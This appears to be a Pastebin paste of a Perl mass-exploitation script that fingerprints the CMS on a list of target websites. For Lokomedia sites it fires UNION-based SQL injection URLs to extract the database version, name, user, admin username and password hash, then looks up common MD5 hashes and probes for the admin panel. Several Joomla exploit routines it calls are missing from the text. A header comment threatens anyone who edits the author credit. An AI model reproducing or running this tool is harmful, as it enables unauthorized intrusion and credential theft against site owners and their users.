Advertisement
Guest User

lokmed by mrrm19

a guest
Dec 31st, 2017
660
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.25 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. #Coded By Mr.Rm19
  4. #don't Change my Rights
  5. #Jangan di edit nama lu bangsat gua cape buat tools ini selama 4 hari anjing hargain gua,gua hack juga lu
  6. #paste here
  7. use Getopt::Long;
  8. use HTTP::Request;
  9. use LWP::UserAgent;
  10. use IO::Select;
  11. use HTTP::Cookies;
  12. use HTTP::Response;
  13. use Term::ANSIColor;
  14. use HTTP::Request::Common qw(POST);
  15. use HTTP::Request::Common qw(GET);
  16. use URI::URL;
  17. use IO::Socket::INET;
  18. my $ua = LWP::UserAgent->new;
  19. $ua->timeout(10);
  20.  
  21. my $datetime = localtime;
  22.  
  23. @months = qw(01 02 03 04 05 06 07 08 09 10 11 12);
  24. ($second, $minute, $hour, $dayOfMonth, $month, $yearOffset, $dayOfWeek, $dayOfYear, $daylightSavings) = localtime();
  25. $year = 1900 + $yearOffset;
  26. $month = "$months[$month] ";
  27.  
  28. sub banner() {
  29. system("title Mr.Rm19");
  30. if ($^O =~ /MSWin32/) {system("cls"); }else { system("clear"); }
  31. print color('bold green');
  32. print q(
  33. .o oOOOOOOOo OOOo
  34. Ob.OOOOOOOo OOOo. oOOo. .adOOOOOOO
  35. OboO"""""""""""".OOo. .oOOOOOo. OOOo.oOOOOOo.."""""""""'OO
  36. OOP.oOOOOOOOOOOO "POOOOOOOOOOOo. `"OOOOOOOOOP,OOOOOOOOOOOB'
  37. `O'OOOO' `OOOOo"OOOOOOOOOOO` .adOOOOOOOOO"oOOO' `OOOOo
  38. .OOOO' `OOOOOOOOOOOOOOOOOOOOOOOOOO' `OO
  39. OOOOO '"OOOOOOOOOOOOOOOO"` oOO
  40. oOOOOOba. .adOOOOOOOOOOba .adOOOOo.
  41. oOOOOOOOOOOOOOba. .adOOOOOOOOOO@^OOOOOOOba. .adOOOOOOOOOOOO
  42. OOOOOOOOOOOOOOOOO.OOOOOOOOOOOOOO"` '"OOOOOOOOOOOOO.OOOOOOOOOOOOOO
  43. "OOOO" "YOoOOOOMOIONODOO"` . '"OOROAOPOEOOOoOY" "OOO"
  44. );
  45.  
  46. print color('reset');
  47. print " ";
  48. print colored ("[ Mr.Rm19 ]",'white on_red');
  49. print colored ("[ Coded By Mr.Rm19 ]\n",'white on_red');
  50. print " ";
  51. print colored ("[ Start At $datetime ]",'white on_red'),"\n\n";
  52. }
  53. banner();
  54. GetOptions(
  55. "l|list=s" => \$list,
  56. );
  57.  
  58. unless ($list) { help(); }
  59.  
  60.  
  61. sub help {
  62.  
  63. print color('bold red')," [";
  64. print color('bold green'),"+";
  65. print color('bold red'),"] ";
  66. print color("bold white"),"You Have List Of Sites ?\n\n";
  67. print color('bold red')," [";
  68. print color('bold green'),"1";
  69. print color('bold red'),"] ";
  70. print color("bold white"),"Yes\n";
  71. print color('bold red')," [";
  72. print color('bold green'),"2";
  73. print color('bold red'),"] ";
  74. print color("bold white"),"No\n";
  75. print color('bold red')," [";
  76. print color('bold green'),"-";
  77. print color('bold red'),"] ";
  78. print color("bold white"),"Choose : ";
  79.  
  80. $number=<STDIN>;
  81. chomp $number;}
  82. if($number eq '1')
  83. {
  84. print color('bold red')," [";
  85. print color('bold green'),"+";
  86. print color('bold red'),"] ";
  87. print color("bold white"),"Path your websites list : ";
  88. $list= "list.txt";
  89. chomp $list;
  90. system("perl tes.pl $list");
  91. }
  92. if($number eq '2')
  93. {
  94. $list= "list.txt";
  95. system("perl dork.pl");
  96. }
  97. $tmp="tmp";
  98. if (-e $tmp)
  99. {
  100. }
  101. else
  102. {
  103. mkdir $tmp or die "Error creating directory: $tmp";
  104. }
  105.  
  106. $rez="Result";
  107. if (-e $rez)
  108. {
  109. }
  110. else
  111. {
  112. mkdir $rez or die "Error creating directory: $rez";
  113. }
  114.  
  115. $a = 0;
  116. open (THETARGET, "<$list") || die "[-] Can't open the list websites file";
  117. @TARGETS = <THETARGET>;
  118. close THETARGET;
  119. $link=$#TARGETS + 1;
  120.  
  121. banner();
  122. print color("bold white"), "[+] Total sites : ";
  123. print color("bold red"), "".scalar(@TARGETS)."\n\n";
  124. print color('reset');
  125.  
  126. OUTER: foreach $site(@TARGETS){
  127. chomp($site);
  128. $a++;
  129. cms();
  130. }
  131. sub cms(){
  132. $ua = LWP::UserAgent->new(keep_alive => 1);
  133. $ua->agent("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31");
  134. $ua->timeout (15);
  135. $lokomedia = "$site/smiley/bogor6etar.jpg";
  136. my $lokomediacms = $ua->get("$lokomedia")->content_type;
  137. $loko = "$site/rss.xml";
  138. my $lokomediacmstow = $ua->get("$loko")->content;
  139. my $cms = $ua->get("$site")->content;
  140.  
  141. if($cms =~/<script type=\"text\/javascript\" src=\"\/media\/system\/js\/mootools.js\"><\/script>| \/media\/system\/js\/|com_content|Joomla!/) {
  142. print color('bold white'),"\n[$a] $site - ";
  143. print color("bold green"), "Joomla\n\n";
  144. print color('reset');
  145. open(save, '>>tmp/joomla.txt');
  146. print save "$site\n";
  147. close(save);
  148. comjce();
  149. comedia();
  150. comjdownloads();
  151. comfabrik();
  152. foxcontact();
  153. comadsmanager();
  154. comblog();
  155. comusers();
  156. comweblinks();
  157. mod_simplefileupload();
  158. }
  159. elsif($cms =~/wp-content|wordpress|xmlrpc.php/) {
  160. print color('bold white'),"\n[$a] $site - ";
  161. print color("bold green"), "WordPress\n\n";
  162. print color('reset');
  163. open(save, '>>tmp/Wordpress.txt');
  164. print save "$site\n";
  165. close(save);
  166.  
  167. }
  168. elsif($cms =~/Drupal|drupal|sites\/all|drupal.org/) {
  169. print color('bold white'),"\n[$a] $site - ";
  170. print color("bold green"), "DruPal\n\n";
  171. print color('reset');
  172. open(save, '>>tmp/drupal.txt');
  173. print save "$site\n";
  174. close(save);
  175. drupal();
  176. }
  177. elsif($cms =~/Prestashop|prestashop/) {
  178. print color('bold white'),"\n[$a] $site - ";
  179. print color("bold green"), "Prestashop\n\n";
  180. print color('reset');
  181. open(save, '>>tmp/Prestashop.txt');
  182. print save "$site\n";
  183. close(save);
  184.  
  185.  
  186.  
  187. columnadverts();
  188.  
  189. }
  190.  
  191. elsif($lokomediacms =~/image\/gif/) {
  192. print color('bold white'),"\n[$a] $site - ";
  193. print color("bold green"), "Lokomedia\n\n";
  194. print color('reset');
  195. open(save, '>>tmp/lokomedia.txt');
  196. print save "$site\n";
  197. close(save);
  198. lokomedia();
  199. }
  200. elsif($lokomediacmstow =~/lokomedia/) {
  201. print color('bold white'),"\n[$a] $site - ";
  202. print color("bold green"), "Lokomedia\n\n";
  203. print color('reset');
  204. open(save, '>>tmp/lokomedia.txt');
  205. print save "$site\n";
  206. close(save);
  207. lokomedia();
  208. }
  209.  
  210. else{
  211. print color('bold white'),"\n[$a] $site - ";
  212. print color("bold green"), "Unknown\n\n";
  213. open(save, '>>tmp/Unknown.txt');
  214. print color('reset');
  215. print save "$site\n";
  216. close(save);
  217. }
  218. }
  219.  
  220. ################ lokomedia #####################
  221. sub lokomedia(){
  222. $lokoversion = "$site/statis--7'union select /*!50000Concat*/(Version())+from+users--+--+kantordesa.html";
  223. $lokodatabase = "$site/statis--7'union select /*!50000Concat*/(Database())+from+users--+--+kantordesa.html";
  224. $lokouserdata = "$site/statis--7'union select /*!50000Concat*/(USER())+from+users--+--+kantordesa.html";
  225. $lokouser = "$site/statis--7'union select /*!50000Concat*/(username)+from+users--+--+kantordesa.html";
  226. $lokopass = "$site/statis--7'union select /*!50000Concat*/(password)+from+users--+--+kantordesa.html";
  227.  
  228. my $checklokoversion = $ua->get("$lokoversion")->content;
  229. if($checklokoversion =~/<meta name="description" content="(.*)">/) {
  230. $dbv=$1;
  231.  
  232. if($dbv =~ /[a-z]/){
  233. print color('bold green')," [";
  234. print color('bold red'),"+";
  235. print color('bold green'),"] ";
  236. print color('bold white')," MySQL Version : $dbv\n";
  237. open (TEXT, '>>Result/database.txt');
  238. print TEXT "\n[ DATABASE ]\n";
  239. print TEXT "$site";
  240. print TEXT "\nMySQL Version : $dbv";
  241. close (TEXT);
  242. my $checklokodatabase = $ua->get("$lokodatabase")->content;
  243. if($checklokodatabase =~/<meta name="description" content="(.*)">/) {
  244. $db=$1;
  245. print color('bold green')," [";
  246. print color('bold red'),"+";
  247. print color('bold green'),"] ";
  248. print color('bold white')," Current Database : $db\n";
  249. open (TEXT, '>>Result/databases.txt');
  250. print TEXT "\nCurrent Database : $db";
  251. close (TEXT);
  252. }
  253. my $checklokouserdata = $ua->get("$lokouserdata")->content;
  254. if($checklokouserdata =~/<meta name="description" content="(.*)">/) {
  255. $udb=$1;
  256. print color('bold green')," [";
  257. print color('bold red'),"+";
  258. print color('bold green'),"] ";
  259. print color('bold white')," Current Username : $udb\n";
  260. }
  261. my $checklokouser = $ua->get("$lokouser")->content;
  262. if($checklokouser =~/<meta name="description" content="(.*)">/) {
  263. $user=$1;
  264. print color('bold green')," [";
  265. print color('bold red'),"+";
  266. print color('bold green'),"] ";
  267. print color('bold white')," Username : $user\n";
  268. open (TEXT, '>>Result/databases.txt');
  269. print TEXT "\nUsername : $user";
  270. close (TEXT);
  271. }
  272. my $checklokopass = $ua->get("$lokopass")->content;
  273. if($checklokopass =~/<meta name="description" content="(.*)">/) {
  274. $hash=$1;
  275. print color('bold green')," [";
  276. print color('bold red'),"+";
  277. print color('bold green'),"] ";
  278. print color('bold white')," Hash Pass : $hash\n";
  279. open (TEXT, '>>Result/databases.txt');
  280. print TEXT "\nHash Pass : $hash";
  281. close (TEXT);
  282. lokohash();
  283. lokopanel();
  284. }
  285. }
  286. }
  287. }
  288. sub lokohash(){
  289. if ($hash =~ /a66abb5684c45962d887564f08346e8d/){
  290. print color('bold green')," [";
  291. print color('bold red'),"+";
  292. print color('bold green'),"] ";
  293. print color('bold white'),"Cracking Hash : ";
  294. print color('bold green'),"Found!";
  295. print color('bold green')," [";
  296. print color('bold red'),"+";
  297. print color('bold green'),"] ";
  298. print color('bold white'),"Password : admin123456\n";
  299. open (TEXT, '>>Result/databases.txt');
  300. print TEXT "\nPassword : admin123456";
  301. close (TEXT);
  302. }
  303. elsif ($hash =~ /0192023a7bbd73250516f069df18b500/){
  304. print color('bold green')," [";
  305. print color('bold red'),"+";
  306. print color('bold green'),"] ";
  307. print color('bold white'),"Cracking Hash : ";
  308. print color('bold green'),"Found!";
  309. print color('bold green')," [";
  310. print color('bold red'),"+";
  311. print color('bold green'),"] ";
  312. print color('bold white'),"Password : admin123\n";
  313. open (TEXT, '>>Result/databases.txt');
  314. print TEXT "\nPassword : admin123";
  315. close (TEXT);
  316. }
  317. elsif ($hash =~ /73acd9a5972130b75066c82595a1fae3/){
  318. print color('bold green')," [";
  319. print color('bold red'),"+";
  320. print color('bold green'),"] ";
  321. print color('bold white'),"Cracking Hash : ";
  322. print color('bold green'),"Found!";
  323. print color('bold green')," [";
  324. print color('bold red'),"+";
  325. print color('bold green'),"] ";
  326. print color('bold white'),"Password : ADMIN\n";
  327. open (TEXT, '>>Result/databases.txt');
  328. print TEXT "\nPassword : ADMIN";
  329. close (TEXT);
  330. }
  331. elsif ($hash =~ /7b7bc2512ee1fedcd76bdc68926d4f7b/){
  332. print color('bold green')," [";
  333. print color('bold red'),"+";
  334. print color('bold green'),"] ";
  335. print color('bold white'),"Cracking Hash : ";
  336. print color('bold green'),"Found!";
  337. print color('bold green')," [";
  338. print color('bold red'),"+";
  339. print color('bold green'),"] ";
  340. print color('bold white'),"Password : Administrator\n";
  341. open (TEXT, '>>Result/databases.txt');
  342. print TEXT "\nPassword : Administrator";
  343. close (TEXT);
  344. }
  345. elsif ($hash =~ /c21f969b5f03d33d43e04f8f136e7682/){
  346. print color('bold green')," [";
  347. print color('bold red'),"+";
  348. print color('bold green'),"] ";
  349. print color('bold white'),"Cracking Hash : ";
  350. print color('bold green'),"Found!";
  351. print color('bold green')," [";
  352. print color('bold red'),"+";
  353. print color('bold green'),"] ";
  354. print color('bold white'),"Password : default\n";
  355. open (TEXT, '>>Result/databases.txt');
  356. print TEXT "\nPassword : default";
  357. close (TEXT);
  358. }
  359. elsif ($hash =~ /1a1dc91c907325c69271ddf0c944bc72/){
  360. print color('bold green')," [";
  361. print color('bold red'),"+";
  362. print color('bold green'),"] ";
  363. print color('bold white'),"Cracking Hash : ";
  364. print color('bold green'),"Found!";
  365. print color('bold green')," [";
  366. print color('bold red'),"+";
  367. print color('bold green'),"] ";
  368. print color('bold white'),"Password : pass\n";
  369. open (TEXT, '>>Result/databases.txt');
  370. print TEXT "\nPassword : pass";
  371. close (TEXT);
  372. }
  373. elsif ($hash =~ /5f4dcc3b5aa765d61d8327deb882cf99/){
  374. print color('bold green')," [";
  375. print color('bold red'),"+";
  376. print color('bold green'),"] ";
  377. print color('bold white'),"Cracking Hash : ";
  378. print color('bold green'),"Found!";
  379. print color('bold green')," [";
  380. print color('bold red'),"+";
  381. print color('bold green'),"] ";
  382. print color('bold white'),"Password : password\n";
  383. open (TEXT, '>>Result/databases.txt');
  384. print TEXT "\nPassword : password";
  385. close (TEXT);
  386. }
  387. elsif ($hash =~ /098f6bcd4621d373cade4e832627b4f6/){
  388. print color('bold green')," [";
  389. print color('bold red'),"+";
  390. print color('bold green'),"] ";
  391. print color('bold white'),"Cracking Hash : ";
  392. print color('bold green'),"Found!";
  393. print color('bold green')," [";
  394. print color('bold red'),"+";
  395. print color('bold green'),"] ";
  396. print color('bold white'),"Password : test\n";
  397. open (TEXT, '>>Result/databases.txt');
  398. print TEXT "\nPassword : test";
  399. close (TEXT);
  400. }
  401. elsif ($hash =~ /21232f297a57a5a743894a0e4a801fc3/){
  402. print color('bold green')," [";
  403. print color('bold red'),"+";
  404. print color('bold green'),"] ";
  405. print color('bold white'),"Cracking Hash : ";
  406. print color('bold green'),"Found!";
  407. print color('bold green')," [";
  408. print color('bold red'),"+";
  409. print color('bold green'),"] ";
  410. print color('bold white'),"Password : admin\n";
  411. open (TEXT, '>>Result/databases.txt');
  412. print TEXT "\nPassword : admin";
  413. close (TEXT);
  414. }
  415. elsif ($hash =~ /fe01ce2a7fbac8fafaed7c982a04e229/){
  416. print color('bold green')," [";
  417. print color('bold red'),"+";
  418. print color('bold green'),"] ";
  419. print color('bold white'),"Cracking Hash : ";
  420. print color('bold green'),"Found!\n";
  421. print color('bold green')," [";
  422. print color('bold red'),"+";
  423. print color('bold green'),"] ";
  424. print color('bold white'),"Password : demo\n";
  425. open (TEXT, '>>Result/databases.txt');
  426. print TEXT "\nPassword : demo";
  427. close (TEXT);
  428. }
  429. else{
  430. print color('bold green')," [";
  431. print color('bold red'),"+";
  432. print color('bold green'),"] ";
  433. print color('bold white'),"Password : ";
  434. print color('bold red'),"NOt FOUND\n";
  435. }
  436. }
  437.  
  438. sub lokopanel(){
  439. $ua = LWP::UserAgent->new();
  440. $ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801");
  441. $ua->timeout(15);
  442. $pathone = "$site/redaktur";
  443. my $lokomediacms = $ua->get("$pathone")->content;
  444. if($lokomediapathone =~/administrator|username|password/) {
  445. print color('bold green')," [";
  446. print color('bold red'),"+";
  447. print color('bold green'),"] ";
  448. print color('bold white'),"Admin Panel : ";
  449. print color('bold green'),"Found!\n";
  450. print color('bold green')," [";
  451. print color('bold red'),"+";
  452. print color('bold green'),"] ";
  453. print color('bold white'),"URL : $pathone\n";
  454. open (TEXT, '>>Result/databases.txt');
  455. print TEXT "\nURL : $pathone";
  456. close (TEXT);
  457. }
  458. else{
  459. print color('bold green')," [";
  460. print color('bold red'),"+";
  461. print color('bold green'),"] ";
  462. print color('bold white'),"Admin Panel : ";
  463. print color('bold red'),"NOt FOUND\n";
  464. }
  465. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement